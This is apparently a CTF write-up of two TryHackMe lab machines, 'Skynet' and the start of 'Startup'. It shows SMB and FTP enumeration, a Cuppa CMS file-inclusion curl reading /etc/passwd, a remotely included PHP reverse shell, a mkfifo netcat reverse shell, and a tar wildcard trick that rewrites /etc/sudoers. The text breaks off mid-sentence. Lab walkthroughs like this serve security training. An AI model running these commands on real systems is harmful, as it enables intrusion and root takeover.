![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSaky-nllVTJNd6tTO%2F-MbSdjP1D3fi-xwUsdSZ%2Fimage.png?alt=media\&token=f2295000-1625-4cf5-a4ae-0ab3df14153a)

After a while we get another hit

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSaky-nllVTJNd6tTO%2F-MbSeCSzYPBJf61DU9FW%2Fimage.png?alt=media\&token=b9498741-68f2-4de8-a9c3-9788c1dee7f7)

The directory is called `/squirrelmail`, lets visit it and see if we have access to it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSaky-nllVTJNd6tTO%2F-MbSeMpAaVrHqni7SlPK%2Fimage.png?alt=media\&token=6d322f40-1888-4ef8-b913-4bcd56e62f87)

And we do, its a login form, so we need to find a username and a password.

### Port 139,445: SMB

Lets use a tool called `enum4linux` which is a tool that enumerates Samba services on a machine

```
enum4linux -a 10.10.149.41
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSaky-nllVTJNd6tTO%2F-MbSeoa229YzUDMppAV2%2Fimage.png?alt=media\&token=219b8277-eeb1-4767-b796-6838646098be)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSaky-nllVTJNd6tTO%2F-MbSeth5PWQ0Y_NIqAEK%2Fimage.png?alt=media\&token=fc9bba8a-097e-4f0e-a4d1-9cf973aa1c1c)

Looking at the output, in the Share Enumeration section, the Share names print$ and IPC$ are common, but anonymous and `milesdyson` are not common, and `milesdyson` looks like a username, so lets add that to our notes.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSezOWbOJnbNXzJs1T%2F-MbSfdSHCeLLEvOPCOu7%2Fimage.png?alt=media\&token=8b5391f5-3cbb-4827-908a-b7312304e708)

Now lets try to access those shares using `smbclient`

```
smbclient //10.10.149.41/anonymous
```

After hitting enter for the password

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSfgWWgTlw20UelhGF%2F-MbSgVX0s_KiJRAmMEK4%2Fimage.png?alt=media\&token=7a73fedf-05a0-4066-a78f-2766bb71bc08)

We are logged in. Lets now explore.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSfgWWgTlw20UelhGF%2F-MbSgom9vC_RENNfIhvv%2Fimage.png?alt=media\&token=b0c88dc2-52a2-4caf-aec0-45fac311efe2)

There is a directory and a file, lets transfer the file to our machine and the files in the directory to our machine too.

```
get <file-name>
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSfgWWgTlw20UelhGF%2F-MbSh6yepNy39zwO4iSE%2Fimage.png?alt=media\&token=695fb0e2-3363-4ed6-b581-3035536d6b00)

I am only transferring the `log1.txt` file because the other files are empty as shows in the ls output.

Lets now read the files that we transferred to our machine.

```
cat <file-name>
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSfgWWgTlw20UelhGF%2F-MbShUpF4KWAsW08IsLs%2Fimage.png?alt=media\&token=413655ba-24d7-4c1d-a37b-24415ae000a7)

So the `attention.txt` file tells us that all the employees passwords have been changed and all of them are required to change their passwords. And the second file looks like a password list, and the name of the file was log, it might be older passwords, and we can also theorize that someone might have not changed their password, for example the person who wrote the attention note, Miles Dyson. We can try to brute force the squirrel mail service we found on the webserver with the username `milesdyson` and the password list we just saw.

Now I wanted to try using `hydra` or `burp` suite to do this, but I was looking at the [walkthrough ](https://www.youtube.com/watch?v=HXikLrFVIXc)of John Hammond and the python script that he made was very interesting and valuable, so I made one and used that to find the correct password. Lets go through the steps he did.

Lets first go to the developer tools (`Ctrl + Shift + i`) and then send a request with a random username and password. In the Network tab of the developer tools, we see a `redirect.php` file get created when we hit login, lets look into that file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSfgWWgTlw20UelhGF%2F-MbSkyq0OxA57dlDcoUp%2Fimage.png?alt=media\&token=268508c1-0dd5-4c56-bc04-61566f30bf29)

Now lets copy the request , we can do that by right clicking on the file name and going to copy and then click copy as `cURL`. We can now go to a `cURL` to python code request code [converter](https://curl.trillworks.com/), now paste the code in their and then copy the python code to a file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSfgWWgTlw20UelhGF%2F-MbSlhH7amI-yFv3_msF%2Fimage.png?alt=media\&token=dfb14736-db11-440f-b0f4-54aef9487a9b)

I'm going to create the file `bruteforce.py` , once you do that we need to modify the code a bit to make it bruteforce the service with the username and password list we provide.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSfgWWgTlw20UelhGF%2F-MbSm16EvJiHv2grwxpS%2Fimage.png?alt=media\&token=e8c416f9-ddcc-45b6-90d5-b837b3db163e)

This is how the code looks before any modifications

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSfgWWgTlw20UelhGF%2F-MbSnfI3_vNFWB_LVh12%2Fimage.png?alt=media\&token=72964771-aa5f-408e-9b39-6536d2288760)

And this is the code after modifications, I can try to explain what this code does, but I think John Hammond does a better job at doing that, so go watch the [video ](https://www.youtube.com/watch?v=HXikLrFVIXc)he made if you want to understand the code.

Now if we save and run the code, we find the password

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSfgWWgTlw20UelhGF%2F-MbSo7D_IiIyD4JEIfmJ%2Fimage.png?alt=media\&token=b1934286-27b7-4fba-b37a-a0f990f3ee4e)

The password is `cyborg007haloterminator`, which is also the answer to the first question in this room

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSfgWWgTlw20UelhGF%2F-MbSoGz_ayxmMu0ATO8A%2Fimage.png?alt=media\&token=66c7d444-10f2-4f6d-9eea-b065ff073ae5)

### Port 80: HTTP

We can now login into squirrel mail.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSoIPo6VFoUmznAlWI%2F-MbSohx7SqMhZnbIfETF%2Fimage.png?alt=media\&token=dff3455f-3b98-4de9-babb-a96c6202097a)

There are three emails that Miles Dyson received, the ones with (no subject) have nothing of interest, but the Samba Password reset email has something really interesting

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSokPpq4hHbTBO-ZTH%2F-MbSpCrmufw6jassW8vl%2Fimage.png?alt=media\&token=1819d38f-f584-427b-bd39-5d8923b05645)

We now have the password for SMB of Miles Dyson, which is `)s{A&2Z=F^n_E.B'` .

### Port 139,445: SMB

Now that we have the password for Miles Dyson's SMB server, we can login using `smbclient`.

```
smbclient -U milesdyson //10.10.149.41/milesdyson
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSokPpq4hHbTBO-ZTH%2F-MbSqcRe0X8fSGqlWCE2%2Fimage.png?alt=media\&token=adc7e30c-23ac-4c12-afe3-9bf21c193f8c)

We are now logged in. Lets list what files or directories there are in the server.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSokPpq4hHbTBO-ZTH%2F-MbSr3pAeu_GedhmnGVO%2Fimage.png?alt=media\&token=92e86247-2fe9-49a8-b9b8-aa50801cb0cb)

Looking through the files, there is only one file in the notes directory that looks interesting, so lets transfer that file to our machine.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSokPpq4hHbTBO-ZTH%2F-MbSrEkpNTRGEFgJapzZ%2Fimage.png?alt=media\&token=72766c0d-bd5f-4984-921e-2c7aafbcfec8)

Now lets read the `important.txt` file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSokPpq4hHbTBO-ZTH%2F-MbSrO7vmJ8fpBDdeCF5%2Fimage.png?alt=media\&token=0fdd0453-3d4c-43fc-b09c-979bb977d622)

Looks like the first line gives us a directory that we can visit on the webserver, so lets do that.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSrPNJDSneveitSbr1%2F-MbSrfxDOsQc2qRveIgI%2Fimage.png?alt=media\&token=3ecb89b8-06c5-41fe-8bac-3dcd8c79bc1d)

Nothing of interest here nor in the source code, lets run `gobuster` to find hidden directories and files. Also the directory we just found is the answer to the second question in this room

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSrPNJDSneveitSbr1%2F-MbSs0dGlpEaS7LqsUEw%2Fimage.png?alt=media\&token=2553c057-f486-4f9b-8110-fbf9a91141c9)

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.149.41/45kra24zxs28v3yd/
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSs6lIIpagz6_6BtSw%2F-MbSsX3uDRLZ1nZ7ABvB%2Fimage.png?alt=media\&token=c5127fe8-0003-47fd-836f-e3adcb8f6b7f)

We find an administrator page, lets go visit it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSs6lIIpagz6_6BtSw%2F-MbSsh14jeOvjWRmN7U9%2Fimage.png?alt=media\&token=72ef89a4-b261-4a29-88ac-8f5bbf6a7a0b)

Its a login page. If we try to use the credentials we found earlier, it does not work. Looking at the page we have the service name which is `Cuppa CMS`  so why don't we go to searchsploit and look if we have any exploits that we can use to exploit this service.

```
searchsploit Cuppa
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSs6lIIpagz6_6BtSw%2F-MbStI82K7zIxw3Z_PJ8%2Fimage.png?alt=media\&token=45b58381-ae6a-42f5-aacd-0742eaf34895)

And we do, so lets copy the exploit to our directory.

```
searchsploit -m php/webapps/25971.txt
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSs6lIIpagz6_6BtSw%2F-MbStWOXSYnAL31Gj6Dx%2Fimage.png?alt=media\&token=a8bf43c3-dc40-4d46-bafa-2d93372649a0)

We now can answer the third question in this room.&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSs6lIIpagz6_6BtSw%2F-MbStgO-AAzWElHzs0eF%2Fimage.png?alt=media\&token=8fc04f2b-ef17-4f8b-9685-b5a3742c8dbe)

## Exploitation

Reading through the scripts, it looks like we can see the `/etc/passwd` file, so lets try looking at that file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSs6lIIpagz6_6BtSw%2F-MbSutuGTV104jNNjW7L%2Fimage.png?alt=media\&token=955a6f23-48b5-4f19-accc-ba80c833042c)

We need to change the target and alerts place holders as well

```
curl http://10.10.149.41/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSs6lIIpagz6_6BtSw%2F-MbSvT76XN0qOiHlrZsZ%2Fimage.png?alt=media\&token=e2862ec4-0456-42ca-a916-7571dbc6ea4b)

Looks like it works, so they also mentioned that we can run php files on the server with this exploit, so what if we write a command in a php file and send that to the server by opening a http server on our machine, we can do this because there is a remote file inclusion vulnerability on the web server.

So first lets make the file with the command, lets call it `command.php`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSs6lIIpagz6_6BtSw%2F-MbSw_oWMT53YXGwpx7w%2Fimage.png?alt=media\&token=b3176483-b74b-4867-95ca-4c6a25adc3c7)

Lets see if the command `whoami` works.

Now we have to start a http server so that the victim machine can connect back to us.

```
python -m http.server 8080
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSs6lIIpagz6_6BtSw%2F-MbSxc9Kg1rv9KbFYszn%2Fimage.png?alt=media\&token=3d28c862-c5e9-4263-acfe-a0150d14be0c)

Now we have to run the curl command to connect to our machine and run the command.php file.

```
curl http://10.10.149.41/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.13.8.64:8080/command.php
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSs6lIIpagz6_6BtSw%2F-MbSxkw-dS63sR1D6RTj%2Fimage.png?alt=media\&token=79eff073-7056-43c9-b510-75ca1c946768)

And it works as we get the right output. Now what if we change the command.php file to a reverse shell php file to get a reverse shell on the machine. We can find a reverse shell php file [here](https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php).

Once you copy the file and change the IP to your tryhackme IP as they mentioned in the file, you can copy it to the directory where you will start the http server. Once you do that change the file in the curl URL and also start a Netcat reverse shell listener with the same IP in the php reverse shell file.

```
nc -lvnp 1234
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSs6lIIpagz6_6BtSw%2F-MbT-v1lGHx5C-whvA56%2Fimage.png?alt=media\&token=989985fa-88bc-4908-9c38-c4375ae30eec)

Once you do that, use the curl command. Also make sure you started the python http server

```
curl http://10.10.149.41/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.13.8.64:8080/shell.php
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSs6lIIpagz6_6BtSw%2F-MbT06ALmWn32JZkUrPQ%2Fimage.png?alt=media\&token=ad5ebf01-89f8-435b-8b2e-1aa141781e35)

After you hit enter, you should get a reverse shell on the machine.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSs6lIIpagz6_6BtSw%2F-MbT0F3YzqNOrWOddNSa%2Fimage.png?alt=media\&token=f949fdea-9547-43be-a1fa-156b7013e701)

You can now read the user.txt which is the answer to the fourth question of this room.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSs6lIIpagz6_6BtSw%2F-MbT0TPbxqct1JH66-m5%2Fimage.png?alt=media\&token=a9602df8-3eac-42bf-80bc-32c79933b8d4)

And you can use these commands to stabilize your shell

```bash
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm-color
Ctrl + z
stty raw -echo; fg
reset
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSs6lIIpagz6_6BtSw%2F-MbT0q6g_rYq0OSP9UYj%2Fimage.png?alt=media\&token=7ae2ff2c-c249-42ff-ba98-f414668f3168)

Looking at the files and directories, there is a particular directory and file that looks interesting, which is `/backups` and `backup.sh`

Lets read the file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSs6lIIpagz6_6BtSw%2F-MbT1uAW7oUaeYg5Wqgi%2Fimage.png?alt=media\&token=52884de7-2cd9-4e5c-a2df-e0b12b2ac1b1)

It looks like its changing directories into the `/var/www/html` folder and then running a tar command with the other file in the `/backups` directory. Looking at the tar command and at the `*` symbol, I was thinking that there should be a [exploit ](https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/)based on this so I went to google and searched for it and found it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSs6lIIpagz6_6BtSw%2F-MbT2rHeozDQy-WYu7Yr%2Fimage.png?alt=media\&token=386b9402-5ed0-48bc-87da-81bf2a739564)

The part that we are interested in is this

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbSs6lIIpagz6_6BtSw%2F-MbT3VmtJ5m4LjJJI3F1%2Fimage.png?alt=media\&token=dae92ff0-d7ee-45cd-aa39-26a9d33537a5)

I can try to explain what these command do, but not as good as John Hammond, so make sure to go [there ](https://www.youtube.com/watch?v=HXikLrFVIXc)and look at what the commands do and mean.

The commands that we will use are: (Also make sure to cd to `/var/www/html` before running the commands.)

```bash
echo 'echo "www-data ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > privesc.sh
echo "/var/www/html"  > "--checkpoint-action=exec=sh privesc.sh"
echo "/var/www/html"  > --checkpoint=1
```

Wait for a while and then run the `sudo -l` command.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbT5mRTCZdC4DnHwVpm%2F-MbT5ygLtgiG0dDCeusV%2Fimage.png?alt=media\&token=3c13e383-6b97-46d5-bc1a-b2a719acb981)

Now we can run all commands as root, so lets switch users to root.

```bash
sudo su root
```

You can also read the root flag which is the answer to the last question of the room.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbT5mRTCZdC4DnHwVpm%2F-MbT6Cun1sp6miv5pGnF%2Fimage.png?alt=media\&token=2315f703-6b37-4503-9fe2-d0daa623bfcf)


# Startup

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNn_u4STOlHTykgczS%2F-MbNw0kONNETUPrR8vt2%2Fimage.png?alt=media\&token=e015f4c2-52f5-4da4-b739-0b0d857982d7)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.50.218
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbOb_JqauIJ1D9ft0-O%2F-MbOc1gzoNpNQY2on9jz%2Fimage.png?alt=media\&token=754e1e59-8738-4005-9127-162cb5178712)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 21,22,80
* (**-oN nmap**): Saving it into a files called nmap

```
nmap -sV -sC -p 21,22,80 -oN nmap 10.10.50.218
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbOb_JqauIJ1D9ft0-O%2F-MbOcN4Xc5irvSWMxYBQ%2Fimage.png?alt=media\&token=92c5e6a3-b525-4c3e-a3a4-2dea03155906)

## Enumeration

### Port 21: FTP

From the nmap scan we can see that we are allowed to login as Anonymous, so lets login and see what we can find.

`Username: anonymous`

`Password: anonymous`

```
ftp 10.10.50.218
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbOb_JqauIJ1D9ft0-O%2F-MbOe_IHNdSNlj1tge45%2Fimage.png?alt=media\&token=33a47e05-bafd-4cbb-b41c-315420bc80c2)

Lets list what files there are in the server

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbOb_JqauIJ1D9ft0-O%2F-MbOfZflKyYEqD_OyBD4%2Fimage.png?alt=media\&token=a4685888-5314-4b3f-8974-56ad74f4350e)

There is a directory and 3 files, lets get both the files and then see what is in the directory.

```
get <file-name>
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbOb_JqauIJ1D9ft0-O%2F-MbOeur5gHrIgbLt_K20%2Fimage.png?alt=media\&token=c51dded2-1ecc-47a5-814b-5748250e4865)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbOb_JqauIJ1D9ft0-O%2F-MbOff3ZtEINEoRF2C2l%2Fimage.png?alt=media\&token=2a1941a9-bd37-42e0-a6f1-d05aa1eff406)

Now lets cd into the ftp directory and check the files

```bash
cd ftp
ls -la
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbOb_JqauIJ1D9ft0-O%2F-MbOfQrTCaEP8B-P6Edm%2Fimage.png?alt=media\&token=f95c1b87-3ed7-4366-b904-426683046cd1)

Looks like there is nothing in the directory. Now lets get back to our machine and read the files.

```bash
cat notice.txt
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbOb_JqauIJ1D9ft0-O%2F-MbOfrVt4BqbYNIJvAIx%2Fimage.png?alt=media\&token=7b1255a7-c104-4913-a649-e08462a2f7db)

We now have a possible username which is `Maya`, so lets add that to our notes.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbOb_JqauIJ1D9ft0-O%2F-MbOg6EG9-8Et-p1N55t%2Fimage.png?alt=media\&token=3beadd58-4a43-4acf-9800-f55bbc1fd774)

The image does not have interesting but it does have something that we should think about :)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbOb_JqauIJ1D9ft0-O%2F-MbOgSpK4_c3DkBS_b6V%2Fimage.png?alt=media\&token=5cc732b5-52e4-4b27-a242-e50c6a4dccb7)

There is nothing in `.test.log`

```bash
cat .test.log
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbOb_JqauIJ1D9ft0-O%2F-MbOlGU0Mds2bT7r0ggN%2Fimage.png?alt=media\&token=1b6e416e-2f4c-4b65-baf4-12d1199344ba)

Looks like that is all we get from FTP.

### Port 80: HTTP

Lets visit the website&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbOb_JqauIJ1D9ft0-O%2F-MbOj0J_pOL3y_8SjBiY%2Fimage.png?alt=media\&token=b85512b2-a5b4-4859-ba86-50813045996c)

Lets look at the source code

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbOb_JqauIJ1D9ft0-O%2F-MbOk1utHI-uAnK_O3k9%2Fimage.png?alt=media\&token=88929c9e-2a1d-48c5-a640-d30f6ae22ca8)

Nothing of interest, lets use gobuster to find hidden directories

```bash
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.50.218/
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbOb_JqauIJ1D9ft0-O%2F-MbOkjv8RWb-gJW4FfwE%2Fimage.png?alt=media\&token=7affc7a4-e62c-49a9-b0aa-09aba9ec1b7a)

We found a directory called `/files`, lets go visit it

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbOb_JqauIJ1D9ft0-O%2F-MbOkqKxH8kFFUojuPRu%2Fimage.png?alt=media\&token=f9ce6a58-eb48-4ef0-bb95-3bf33cc60f3b)

Looks like the same files we found in the FTP server.

## Exploitation

Looking at the ftp directory in the FTP server, we had permission to write in the directory, which means we could add a webshell to the directory and access it on the web page.

We can use [this ](https://github.com/artyuum)webshell for that. Once you copy it to your directory, lets login through ftp and cd into the ftp directory. Lets move the index.php (which I renamed as `web.php`) to the `/Startup` directory and then login.

Now time to put the file into the directory using the put command

```bash
put web.php
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbOb_JqauIJ1D9ft0-O%2F-MbOp16c0Ouh-NwTKpv1%2Fimage.png?alt=media\&token=4534bf75-9a76-499e-be39-b4dc8e09f359)

Now that we added the `web.php` to the directory, lets visit it on the website

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbOb_JqauIJ1D9ft0-O%2F-MbOphoHj8s2S5aE0Yj0%2Fimage.png?alt=media\&token=696ceabc-1a59-48c3-a089-481d3a70a484)

Now we can run commands on the shell. Lets get a reverse shell , we can get the command from [here](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet).

```bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.13.8.64 1234 >/tmp/f
```

We also have to start a netcat listener

```bash
nc -lvnp 1234
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbOb_JqauIJ1D9ft0-O%2F-MbOq9ZgihPjgx-7rx3A%2Fimage.png?alt=media\&token=3ca24085-4f29-4997-a264-55034c86899c)

Now we run the command

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbOb_JqauIJ1D9ft0-O%2F-MbOqERbXVBKZECJMq9V%2Fimage.png?alt=media\&token=392e700d-c5ea-4325-ab67-e57a3f7aaa0b)

Once you do, you get a reverse shell.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbOb_JqauIJ1D9ft0-O%2F-MbOqJS6XkQV-3W4KZjz%2Fimage.png?alt=media\&token=e99a79b5-bb10-42ec-b123-b1d3a038bda4)

Once in the box, use these commands to stabilize the shell

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbOb_JqauIJ1D9ft0-O%2F-MbOqvBXggQa8OOcy0d8%2Fimage.png?alt=media\&token=eaa25d1f-5163-47b5-8ceb-07622c30fcb3)

Looking through the directories, there was one directory that was unusual which is `/incidents`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbOqwdzdr3AoSEg8wEe%2F-MbOrLdPLKVsmqd688uK%2Fimage.png?alt=media\&token=c8ff2566-4c63-4ec9-bf0f-3256035d44d7)

It has a pcapng file , so lets try to get information from it, but first we need to copy it to the ftp directory so that we can download it from the website.

```bash
cp suspicious.pcapng /var/www/html/files/ftp/
```

Once we do this , we can download the file from the website

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbOrrBNiGr2WrThSp2T%2F-MbOs6J8kNkFLLUBa50D%2Fimage.png?alt=media\&token=3510bb17-fde4-4b27-aaf0-19c869645584)

Once downloaded, you can open it with `Wireshark` using this command

```bash
wireshark suspicious.pcapng
```

After you use this command, Wireshark opens the packet.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbOrrBNiGr2WrThSp2T%2F-MbOsr23TlEtbbL-KCon%2Fimage.png?alt=media\&token=223e7179-f6df-419c-80c5-81d8d09a89ec)

Following a TCP stream we come across some interesting stuff, which is a password

